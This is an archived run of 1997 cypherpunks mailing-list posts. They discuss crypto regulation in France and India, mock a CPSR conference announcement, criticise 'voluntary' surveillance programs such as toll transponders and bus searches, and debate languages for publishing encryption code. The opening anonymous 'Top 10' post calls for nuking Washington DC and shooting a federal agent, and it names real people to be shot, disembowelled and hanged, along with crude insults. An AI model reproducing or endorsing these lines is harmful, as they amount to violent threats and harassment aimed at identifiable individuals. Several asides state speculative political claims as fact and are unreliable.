AOLers, Rennie, are kinda like newborns, they make a hell of a lot of
noise, but they don't know too much.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 2 Sep 1997 07:47:50 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <bb6fea0350da9f417dded46749a20cf7@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------

#10) Find his shoes for him.
 
#9) Buy Kent Crispin a Dr. Kevorkian gift-certificate.

#8) Nuke Washington DC

#7) Send ten copies of this back to Vulis.

#6) Shoot a Fed.

#5) Shoot David Downey.

#4) Heavily spam the clueless number of AOLers asking to be on the
list.

#3) Hang a disemboweled Paul Pomes from a tree.

#2) Prank call John Gilmore to tell him what a cocksucker he is.
 
#1) [This space reserved for T.C. May]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 2 Sep 1997 01:44:48 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199709011734.TAA24922@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:55 PM 8/26/97 +1000, A non-stoned David Formosa wrote:
>I take a second sample from our plunger wealding cop, its the blood
of a
>homospapain i.e. a human.
>
>The cop can't become inhuman by any action thay take.

Humans can be very kind and polite, or they can just be murdering
assholes.

So in Dave's defense, despite the fact he made an argumant sounding
like he was on crack, I have to say that plungering someone is part of
human nature.  We're all capable of things along that line, and anyone
who thinks otherwise must have forgotten about the holocaust.

Does that make it any less wrong to do that?  Fuck no.  That cop
should still go to prison for life, at least.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 10:47:29 +0800
To: cypherpunks@Algebra.COM
Subject: Net Worth, nut Work
In-Reply-To: <v031107a1b03119774f49@[139.167.130.248]>
Message-ID: <v03102804b0312722aedb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:17 PM -0700 9/1/97, Robert Hettinga wrote:
>Now, kiddies, don't forget to swallow your milk before you read this.
>
>Don't want to blow it all out your nose...
>
>Cheers,

As the Acting Chairperson of "Access to Tickets for All People," ATAP, I
was disappointed to see so many relics of the Sixth Industrial Capitalist
Era in this press release.

Allow me to comment:



>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>This message was forwarded through the Eat the Rich News Service (ETRNS).
...

>* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
>Computer Professionals for Social Responsibilty
>* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
>Net Worth, Net Work:
>Technology & Values for the Digital Age
>
>Saturday and Sunday
>October 4 & 5
>University of California - Berkeley
>Dimwit Hall
>
>
>THE TECHNOLOGIES OF RESPONSIBLE BUSINESS
>What are the technologies that will make digital commerce work in a socially
>responsible manner? Nathaniel Borenstein of First Virtual and a panel of
>digital
>commerce experts will present an overview of the tools of the digital age and
>freewheeling discussion of their responsible use.

ATAP applauds this choice of a keynote speaker. Based on his company's
[censored by ATAP lawyers] products, which some have characterized as a
form of snake oil, it is apparent that he will not soon become a Greedy
Capitalist. Or at least not a rich one.

>ACCESS FOR ALL
>New technologies are rapidly changing what people need to know to compete
>effectively in the job market. It is increasingly evident that the technology
>revolution threatens to leave whole populations behind --despite improved
>access
>to computers in our communities. Many predict the long-term result will be
>a new
>generation of Americans mired in low-paying, menial jobs. This panel,
>organized
>by Madeline Stanionis of Access to Software for All People (ASAP), will
>explore
>access to technology as the basis for economic opportunity.

ATAP demands that all who wish to attend this conference receive tickets
without charge. Fair is fair.



>longer
>measured in tons or shiploads, but in much more difficult to measure units
>like
>"attention" and "clickstream." Speculation about the future in this area
>rivals
>some of the greatest science fiction ever written. The question is not only
>where are we going, but is there anything we do about it?

ATAP thinks this writer needs to take more SF classes. ATAP has never heard
the neologism "clickstream." Perhaps high tech has been taken over English
majors, intent on outyounging Mr. Young?


>Cocktail reception honoring Dr. PETER NEUMANN, 1997 recipient of CPSR's
>Norbert
>Wiener Award for his outstanding contributions to the field of Risk and
>Reliability in Computer Science.  Reception tickets may be purchased without
>registering for the conference, for $30.

What about Access to Tickets for All People? What is this nonsense about
charging money in a money-free, post-work era?

ATAP says "Steal this Event."


>Co-Sponsoring Organizations:
>Department of Computer Science, UCB
>School of Information Management and Systems, UCB
>International Computer Science Institute
>National Writer's Union

Which explains the "clickstream" stupidity. But not "face time" or
"competing for eyeballs."

>Access to Software for All People

>AIR:  United Airlines is the official airline of the conference.
>For a discount rate, call 800-521-4041 and refer to Meeting ID Code: 520YA

I assume that United is providing free tickets for all people?

(A puzzle: If we are in a post-work age, who is flying the planes?)

>HOTEL:  Some rooms have been reserved at the Shattuck Hotel, in downtown
>Berkeley, a few blocks from the campus at $69 for Singles, and $79 for

The Shattuck Hotel will presumably be providing Access to Rooms for All
People (ARAP, as in "That's ARAP.).


>                                Pre- registration (By 9/26)   Late or On site
>
>CPSR members                            $65______                 $75______
>Non member                              $90______                $100______
>New or Reactivating CPSR membership
>   & registration                       $95______                $105______
>
>Low income/student                      $30______                  $35______
>No income/Cypherpunk           $0_______             $0______


What's all this stuff about money in a post-money, post-work,
clickstreaming age?

--Klaus! von Future Prime, Acting Chairperson, Access to Tickets for All People

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 2 Sep 1997 07:59:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: H/W v S/W encryption Constitutional challenge --The Next Generation
Message-ID: <199709012349.TAA07450@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:05 PM 8/29/97 +0000, Attila T. Hun wrote:
...
>    your suggestion of an interpretive language is a good idea if it
>    creates an easily understood body of code.  perl?  powerful, but
>    even more cryptic than C --sometimes I think perl is too powerful 
>    <g>.
>
...
What about Cobol.  I hated it and have fortunately forgotten everything that
I learned.  ( hated having to make sure I had to start on the right space
for this bit or that bit, it was my first experience with such constraints,
I had to learn on a hobbled editor/compiler, the for sale version which was
not included with the book cost more, I already had the computer theory
basics and so didn't need to learn about I/O basics, basic diagram of
computers, flow charts, etc., I hated trying to type in all that extra as I
am a firm believer in the use the letters until you run out of letters for
variable names school.)
What I do remember was that it was described to us, (the class), as being
designed so that it was an easy read.  If you chose your variable names
right, supposedly anyone could follow it.
The language is compiled which means that although it might be harder to
convince the judge that it is speach, it will run faster.
The language is well distributed, so is about equal to C and others in that
reguard.
The language was originally popular due to the DOD, which required a Cobol
compiler bwe available for every computer they bought for a while.  (Oh, the
history that you learn in Software Engineering Class.)  This last fact makes
it more of an insult to those who claim national security as the reason for
suppression.

Whatever the language, it would have to be well documented in the code so
that a layman could follow it easily enough.

If the language could be written in a scripting language designed for the
average computer user, all the better.

Could PGP5.0 be rewritten in Hypertalk for Hypercard for Macintosh?
That language was designed to be readable by anyone.  The program would be
as slow as molassis, ten times longer in the source, but still.

Merely my suggestion.  I like C as well, though I'm very rusty, having not
written anything of length since the end of the semester in which I took the
class, and then no more then two pages of source per assignment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 2 Sep 1997 09:59:44 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <199709020326.XAA00192@crypt.com>
Message-ID: <58mDce20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave K-P <k.p@snet.net> writes:

> > > > Information, please!
> > > Dont go swimming on a full stomach.
> > Don't "escrow" your keys.
> Don't take advice from strangers.
Don't ask, don't tell.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 2 Sep 1997 08:20:14 +0800
To: <cypherpunks@toad.com>
Subject: Insight magazine - 8/25/97 and 9/1/97 cryptobits
In-Reply-To: <F84cce10w165w@bwalk.dm.com>
Message-ID: <97Sep1.200149edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



Arnaud DeBorchgrave had an editorial as the final word saying that there
should be laws against cypherlaundering in the 8/25 insight (the one with
the article on squalene being found in the gulf-war veterans).

In the current (9/1) issue, apparently someone at commerce left with a few
boxes with classified material including some documents saying which
commercial encryption products the NSA could or could not break.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 2 Sep 1997 12:14:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The End of Politics
Message-ID: <3.0.32.19970901202355.013e23d0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
>			The End of Politics
>
>Every 500 years or so Western history seems to reach a turning point: the
>founding of democracy (Athens, c. 500 B.C.), the death to Christ, the fall
>of the Roman Empire and beginning of the Dark Ages (c. 500 A.D.), the
>ascendancy of the Catholic Church and beginning to the Middle Ages (c. 1000
>A.D.) and the Renaissance (c. 1500 A.D.).
...........................................................


I'm so curious to know what occasioned this burst of insight and historical
perspective from you, Steve?  This is because, just by coincidence, I was
up into the wee hours of this morning and happened to be perusing the MS
Bookshelf Chronology of History.  Looking through the dates on which
certain events occurred - political, scientific, artistic, etc., I also was
noting the changes which took place in 500 yr (or so) measures, just for
comparison.  I was noting when certain changes occurred in civilization
which would mark major points of (to me) "advancement".

The Chronology that I was looking at is a very simplified and limited one,
so my examination was constrained to the list offered.   Depending on which
sector of activity one is looking at, it is possible to note areas of
progress, discovery, or regression.   But in looking at the vocabulary, in
the way which many events are described, I also noted that the terms which
were used to identify things is permeated with the ideas of politics, of
descriptions by reference to relative positions of control in the human
context; then, as more facts about the world beyond the proximate social
schemas are revealed, concepts and ideas are apprehended in a broader
context, to include more extensively the other elements of the Universe,
and the descriptive terms change accordingly, becoming more objective (more
in terms of "things as they are", rather than so much in terms of human
relationships, of comparative positions of social influence).

In considering their understanding of things, it is like the expression,
"to someone with a hammer everything looks like a nail".   To the ancestral
evolving minds, the relationships of each to others, the jockeying for the
more favorable positions over each other, was paramount.   As it becomes
easier to pursue the curiosities of Nature, develop artistic interests, and
achieve practical solutions to Life's problems, the attention transforms
from those earlier concerns to a concentrated pursuit of knowledge and to
an increased, augmented perspective on what is Important and what are the
Real Problems (and what are the actual working solutions).  Existence then
takes on a different perspective - it does not seem as dangerous (other
people don't seem as threatenting) when a person has achieved mastery over
the elements and forces of Nature.  And this difference in understanding is
reflected in the vocabulary.

At least, that is what occurred to me as I was looking at the historical
timeline.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 2 Sep 1997 09:51:02 +0800
To: cypherpunks@toad.com
Subject: Net Worth, net Work
Message-ID: <v031107a1b03119774f49@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Now, kiddies, don't forget to swallow your milk before you read this.

Don't want to blow it all out your nose...

Cheers,
Bob

--- begin forwarded text


Resent-Date: Wed, 27 Aug 1997 12:11:21 -0700 (PDT)
Date: Wed, 27 Aug 1997 12:00:53 -0700 (PDT)
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: Net Worth, net Work
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Date: Fri, 22 Aug 1997 00:09:08 -0700
From: Susan Evoy <sevoy@Sunnyside.COM>
Subject: Net Worth, Net Work (2)- with directions

[...]

Please feel free to forward this to colleagues who may be interested in the
topics of this conference.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Computer Professionals for Social Responsibilty
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Net Worth, Net Work:
Technology & Values for the Digital Age

Saturday and Sunday
October 4 & 5
University of California - Berkeley
Dwinelle Hall

The "information highway" as a business model has generated major questions
concerning privacy, security and free speech. It's clear that digitization
does
more than just turn analog activities into ones and zeroes. Many aspects of
our
society are greatly affected -- how we conduct business and how we work. This
conference will focus on the burgeoning digital economy, especially its impact
on wealth and jobs.

We are moving into a new era for the workplace and some believe that we are
reaching "the end of work," as we know it. This change has been compared by
some
to the social impact of the industrial revolution. The "digital revolution" is
leading to both predictable and unforeseen transformations. Net Worth, Net
Work:
Technology & Values for the Digital Age will explore the many aspects of this
epic social transformation.

THE CONFERENCE AGENDA

PANELS:
Saturday, October 4
9:00 a.m. - 5:30 p.m.

THE TECHNOLOGIES OF RESPONSIBLE BUSINESS
What are the technologies that will make digital commerce work in a socially
responsible manner? Nathaniel Borenstein of First Virtual and a panel of
digital
commerce experts will present an overview of the tools of the digital age and
freewheeling discussion of their responsible use.

ACCESS FOR ALL
New technologies are rapidly changing what people need to know to compete
effectively in the job market. It is increasingly evident that the technology
revolution threatens to leave whole populations behind --despite improved
access
to computers in our communities. Many predict the long-term result will be
a new
generation of Americans mired in low-paying, menial jobs. This panel,
organized
by Madeline Stanionis of Access to Software for All People (ASAP), will
explore
access to technology as the basis for economic opportunity.

FAIRLY FREE: Compensating Creators and Maximizing Access
As the slogan goes, "information wants to be free" -- and in digital
technologies there is a plethora of information. Computer libertarians
sometimes
find themselves at odds with commercial publishers, and in a sometimes uneasy
relationship with creators -- writers, photographers, graphic artists -- who
want to be fairly compensated when others profit from their work. What is the
public's stake in translating traditional principles of copyright, piracy and
fair use into the media environment of the 21st century?

SHOW ME THE MONEY
The economics of the digital age are quite different from that of our waning
industrial world. From the "market of one" to global banking, value is no
longer
measured in tons or shiploads, but in much more difficult to measure units
like
"attention" and "clickstream." Speculation about the future in this area
rivals
some of the greatest science fiction ever written. The question is not only
where are we going, but is there anything we do about it?

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Saturday, October 4
6:30 - 8:00 p.m.
GALA EVENT
Berkeley Conference Center
2105 Bancroft Way, Berkeley

Cocktail reception honoring Dr. PETER NEUMANN, 1997 recipient of CPSR's
Norbert
Wiener Award for his outstanding contributions to the field of Risk and
Reliability in Computer Science.  Reception tickets may be purchased without
registering for the conference, for $30.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Sunday, October 5
9:00 a.m. -12 noon
WORKSHOPS: EXPLORING DIGITAL COMMERCE
Twelve workshops will give hands-on information on such topics as creating
community access; how will we work in the digital workplace;  how will we
define
work-value and compensation; and many more important issues.

For updated conference information, check our conference webpage at:
http://www.cpsr.org/dox/home.html

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Sunday, October 5
1:30 p.m. - 5:00 p.m.
CPSR ANNUAL MEETING
FREE AND OPEN TO EVERYONE

         Reports from the CPSR board and staff.
         Envisioning our Future - CPSR's Strategic Plan

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Conference Sponsors

Corporate:
Interval Research Corporation
Internet Travel Network
Pacific Bell

Co-Sponsoring Organizations:
Department of Computer Science, UCB
School of Information Management and Systems, UCB
International Computer Science Institute
National Writer's Union
Access to Software for All People
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

AIR:  United Airlines is the official airline of the conference.
For a discount rate, call 800-521-4041 and refer to Meeting ID Code: 520YA

HOTEL:  Some rooms have been reserved at the Shattuck Hotel, in downtown
Berkeley, a few blocks from the campus at $69 for Singles, and $79 for
Doubles,
plus 12% tax.  To reserve, call by September 19th.
Call in CA: 800-742-8825, Out-of-State: 800-237-5359, and refer to CPSR.

DIRECTIONS:  University of California - Berkeley visitor and parking
information
is available at:
http://www.urel.berkeley.edu/urel_1/VisitorsCenter/visitor.html.

PARKING:  Parking on weekends is $3 (all in quarters in most lots) per day in
any parking area not posted as "restricted."  Parking behind Dwinelle Hall can
be reached from Oxford Street by taking Cross Campus Drive (between Center
Street and Allston Way).  A campus parking map is available at:
http://geogweb.berkeley.edu/CampusMaps.html.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
REGISTRATION

Name_________________________________________________________

Address_______________________________________________________

City_________________________________  State________  Zip___________

Telephone__(_____)_________________ E-mail _________________________________

Payment method:
Check___Visa___MC___  Card #________________________________  Exp. Date_____


                                Pre- registration (By 9/26)   Late or On site

CPSR members                            $65______                 $75______
Non member                              $90______                $100______
New or Reactivating CPSR membership
   & registration                       $95______                $105______

Low income/student                      $30______                  $35______

Wiener Award Ceremony
    rate for conference registrants     $5______                   $10______
OR to attend without registering for conference  $30 _______

Additional donation to further CPSR's work       $________

                        Total enclosed:          $________

Scholarships available in limited quantity.  Contact CPSR for information.

Send completed registration form with payment to:
CPSR, P.O. Box 717, Palo Alto, CA  94302

> --
> Susan Evoy   *   Deputy Director
> http://www.cpsr.org/home.html
> Computer Professionals for Social Responsibility
> P.O. Box 717  *  Palo Alto  *  CA *  94302
> Phone: (650) 322-3778    *   Fax: (650) 322-4748     *   Email:
>evoy@cpsr.org

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 2 Sep 1997 06:21:08 +0800
To: tcmay@got.net
Subject: false spin on French Crypto news (was Re: Encouraging News - France)
In-Reply-To: <v03102800b030b512e278@[207.167.93.63]>
Message-ID: <199709012034.VAA07567@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> I'm extremely skeptical that France will truly liberalize crypto use by its
> citizen-units. Rather, I expect they will just be falling in line with the
> OECD/Wasenaar/New World Order "trusted third party" key recovery approach
> that the United States, Britain, and other European and Asian countries are
> behind-the-scenes adopting.

I think it's been mis-reported.

My understanding of the situation in France is that the "crypto use"
regulations have changed, or are changing at this moment.

The change is from "no crypto without a permit" to "crypto provided it
is GAKked".

So, you guessed right.

> >>The government is shortly to publish an official decree which would for
> >>the first time allow easy access to and use of software which encodes
> >>sensitive information in order to protect it from unauthorised
> >>interception.
> 
> I'll bet 1000 francs that this will not mean citizens can use PGP openly.
> (I know some Frenchies who are already using PGP, of course.)

Depends on your definition of openly.  Jerome Thorel, at the time a
French free-lance journalist, interviewed the head of SCSSI, he asked
"can individuals use PGP?" and the answer was "if you asked us for
permission we'd say no, but if you use it we won't do anything about
it".  Jerome had this revelvation as his .sig for a while.

Jerome Thorel uses PGP.  I usually encrypt email to him.

> One wag put it this way: "Any Frenchman may apply for a permit to use
> strong cryptography. The same way any Frenchman may apply for a permit for
> an Exocet missile."

That ties up with Jeromes interview with the SCSSI person.

Adam
--
Have <I>you</I> exported RSA today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 12:52:38 +0800
To: cypherpunks@Algebra.COM
Subject: You really do want to volunteer, don't you?
Message-ID: <v03102808b0314226079c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Item: Getting a transponder or bar-coded "EZ Pass" for your vehicle is
completely voluntary....but if you don't have one of these transponders or
passes, you'll have to go to the "manual" lane...Oh, and it seems that due
to budget cutbacks we're short on staff and so you'll have to wait a
while...maybe _quite_ a while.

(Plus, while you're waiting maybe we'll just snap a photo of your license
plate anyway, as you might be a terrorist or Mann Act felon trying to evade
our surveillance....)

Item: The U.S.  is proud to call its tax system "voluntary," in terms of
what citizens report. (The voluntary term was never that participation was
voluntary, only that a tax collector did not show up in person and decide
what a person owed.) However, to ensure compliance with the voluntary part,
citizen-units will find that their bank narcs them out to FinCEN and IRS,
and that electronic intercepts of financial dealings are common, and that
"compliance audits" are far more draconian than ordinary citizen-units
imagine.

Item: Key recovery is purely voluntary. Unless you try to communicate with
foreigners. Unless you are involved in any communications with drug
dealers, money launderers, terrorists, child pornographers, or any other
Horsemen.

(Wouldn't you really rather play it safe and use the Government Approved
Krypto?)

Item (in the Very Near Future): "But, Mr. and Mrs. Zludnick, the
ChildFinder (TM) implant is painless and quick. Based on the technology
used to find lost pets, ChildFinder (TM) allows authorities in public
places to scan for kidnapped or lost children. Surely you'd want your
daughter to have access to this technology? While completely
voluntary--after all, Mr. Zludnick, we are still a democracy, aren't
we?--you should be aware that the school nurse will be most unhappy if your
children are not ChildFinder-compatible. Not to mention the teachers who
count on using RollTaker (TM) to automatically take the roll of students.
And your children will have to take tests in special rooms, and checked for
evidence of identity spoofing. All in all, Mr. and Mrs. Zludnick, I think
you can see the problems. Why, in a sense, it would be a kind of child
abuse, don't you think, to make your little Johnny and Suzy such oddities
in the class. I'm sure you wouldn't Child Protective Services to make one
of their "visits," would you? They're oh-so-thorough in uncovering signs of
an unwholesome home environment. And then where would you be? So, can I
assume you'll be volunteering?"


What we are seeing is an Orwellian abuse of the English language. Programs
are introduced as "voluntary" ones, but the alternatives are either
deliberately made time-consuming and annoying, or the alternatives are just
dropped completely.

(I'm not talking about what private individuals or companies ask for.
Alice's Restaurant is free to require patrons to wear silly hats, as it is
their property. What I'm confining my comments to is the "mandatory
voluntary" nature of more and more government programs.)

The airline bag confirmation system is an in-between situation. It is
partly a security matter to require bags be correlated with actual flying
passengers...cuts down on bombs sent in bags. But it is also a
surveillance/tracking issue, and the airlines are playing the tune the
government calls for.

(Else why would airlines not accept passengers who a) in fact board the
plane, and b) pay in cash for their tickets? It used to be this way. No
more. Now they demand a True Name, regardless of how easy it is to buy
phony documents. If I can buy a phony set, or can even make up my own,
imagine what actual terrorists can do.)

And there's the whole issue of Social Security Cards. My card, issued in
1969, says it's not be used for any purposes except SS and income tax
matters. Tell that to the many agencies, public and corporate, demanding
it.

The point? Our privacy is being "escrowed." The automobile transponders and
barcoded vehicle passes are touted as voluntary, but they really are not.

Chaumian, identity-protecting technologies need to be deployed.

Frankly, I think Cypherpunks are getting off track with all the recent
focus on "old" technologies (which I'll leave unspecified, as my point is
not to attack certain pet projects).

The real stuff is going undone.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: scuttle@alias.cyberpass.net (Scuttle)
Date: Tue, 2 Sep 1997 13:19:08 +0800
To: cypherpunks@toad.com
Subject: Re: Information
Message-ID: <199709020451.VAA19798@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:00 PM 9/1/97 EDT, Dr.Dimitri Vulis KOTM wrote...

>Dave K-P <k.p@snet.net> writes:
>
>> > > > Information, please!
>> > > Dont go swimming on a full stomach.
>> > Don't "escrow" your keys.
>> Don't take advice from strangers.
>Don't ask, don't tell.

Don't eat yellow snow.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 13:01:16 +0800
To: cypherpunks@Algebra.COM
Subject: You really do want to volunteer, don't you?
Message-ID: <v03102809b0314ac20d7e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Oh, I left out one of the best examples of this Orwellian doublethink about
what "voluntary" means.

Item: "You may volunteer to let the nice officers boarding this bus search
your bags without any kind of search warrant or probable cause. Most of you
will readily volunteer, as you "have nothing to hide." However, failure to
volunteer will then mark you as a probable hider of something, and the
police officers will then have "probable cause" to search your bags. Have a
nice day."

This was an actual case, heard by the Supreme Court several years back. Bus
passengers were given the opportunity to volunteer, as noted. Failure to
volunteer was construed as probable cause that contraband was present.

(No, I don't know the name of the case. My recollection is that it took
place in Florida or one of the Carolinas. Nor do I recollect how the
Supremes decided the case....I can hope they ruled it a clear violation of
the Fourth. But I don't remember. Regardless of the outcome, for now, it
shows the Orwellian concept of "mandatory voluntary" at work.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 2 Sep 1997 14:14:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <v03102809b0314ac20d7e@[207.167.93.63]>
Message-ID: <3.0.2.32.19970901230224.03062280@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The case was in Florida; I don't remember the name either.
The officers got on the bus and told some passengers they wanted
to search their bags.  One passenger felt intimidated, but gave in,
got busted for the drugs he was carrying, and appealed.

The Supremes basically ruled that he should have known his rights,
was not under arrest, and could have refused to consent, 
but that since he did consent to the intimidating well-armed gentlemen
blocking his exit from the bus, it's not their problem.   
Not the kind of ruling I'd hope for, but it does at least make it clear
that just because the police tell you you have to consent, that
doesn't mean you _do_ have to consent.  On the other hand,
the police can arrest you for no particularly good reason for
up to 48 hours, which kind of puts a crimp in your Greyhound ticket.

If you don't mind joining the ACLU, an ACLU card isn't bad ID
to give a cop who demands one .... don't leave home without it.

At 09:53 PM 9/1/97 -0700, Tim May wrote:
>Item: "You may volunteer to let the nice officers boarding this bus search
>your bags without any kind of search warrant or probable cause. Most of you
>will readily volunteer, as you "have nothing to hide." However, failure to
>volunteer will then mark you as a probable hider of something, and the
>police officers will then have "probable cause" to search your bags. Have a
>nice day."
>
>This was an actual case, heard by the Supreme Court several years back. Bus
>passengers were given the opportunity to volunteer, as noted. Failure to
>volunteer was construed as probable cause that contraband was present.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <k.p@snet.net>
Date: Tue, 2 Sep 1997 07:44:45 +0800
To: cypherpunks@toad.com
Subject: Re: Information
In-Reply-To: <NicDce14w165w@bwalk.dm.com>
Message-ID: <199709020326.XAA00192@crypt.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > Information, please!
> > Dont go swimming on a full stomach.
> Don't "escrow" your keys.
Don't take advice from strangers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 2 Sep 1997 15:24:49 +0800
To: Vijo Cherian <cypherpunks@Algebra.COM
Subject: India's Crypto Laws
In-Reply-To: <199708262215.XAA01021@server.test.net>
Message-ID: <v0310280ab0316a768034@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:18 PM -0700 9/1/97, Vijo Cherian wrote:

>        How can I get snefru and the detailed snuffle algorithm?
>I am not from USA(I am from India)....I also wanted the perl
>implementations of the algos.....
>  I heard that C implementation of DES is also available for public use...
>I donot want to break any law...and i donot know what exactly  the US
>say about encryption and related stuff...

Well, for starters, what are the laws about crypto use in India?

(I'm serious. None of our Indian list subscribers, that I can recall, has
carefully stated what the Indian laws are.)

If it isn't illegal in India, what do you care what some laws in the U.S.A.
say?

I certainly don't let whatever the laws are in India, or Botswana, or
Germany, or Latvia dictate my actions in the U.S.

So, when you say "I donot want to break any law," how do you think you
could be breaking any laws that bind you?

(If you are concerned that using DES could cause you to be subject to
kidnapping and wrapping in a Persian carpet by one of the NSA's snatch
teams, I expect you have little to worry about. Noriega was kidnapped and
spirited out of Panama because he knew the details of Bush's CIA dealings
in Panama. I expect you have nothing that scares them.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 2 Sep 1997 15:20:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: You really do want to volunteer, don't you?
In-Reply-To: <Pine.SOL.3.96.970901233826.9189A-100000@rigel.cyberpass.net>
